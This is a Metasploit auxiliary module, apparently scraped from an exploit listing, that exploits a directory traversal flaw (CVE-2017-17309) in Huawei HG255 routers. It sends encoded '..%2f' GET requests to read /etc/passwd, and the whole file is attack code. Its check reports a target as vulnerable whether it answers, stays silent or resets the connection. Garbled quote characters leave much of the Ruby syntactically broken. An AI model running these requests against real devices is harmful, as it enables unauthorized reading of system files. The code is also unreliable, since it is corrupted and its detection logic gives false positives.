## https://sploitus.com/exploit?id=EDB-ID:47923
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize
super(
'Name' => 'Huawei HG255 Directory Traversal',
âDescriptionâ => âServer Directory Traversal at Huawei HG255 by malicious GET requestsâ,
âAuthorâ => âIsmail Tasdelenâ,
âLicenseâ => MSF_LICENSE,
âReferencesâ =>
[
['CVE', '2017-17309' ],
['URL', 'https://www.huawei.com/en/psirt/security-notices/huawei-sn-20170911-01-hg255s-en']
]
)
register_options(
[
Opt::RPORT(80)
], self.class
)
end
def run
urllist=[
â/js/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwdâ,
â/lib/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwdâ,
â/res/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwdâ,
â/css/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwdâ]
urllist.each do |url|
begin
res = send_request_raw(
{
âmethodâ=> âGETâ,
âuriâ=> url
})
if res
print_good(âVulnerable! for #{url}â)
else
print_status(âVulnerable(no response) detected for #{url}â)
end
rescue Errno::ECONNRESET
print_status(âVulnerable(rst) detected for #{url}â)
rescue Exception
print_error(âConnection failed.â)
end
end
end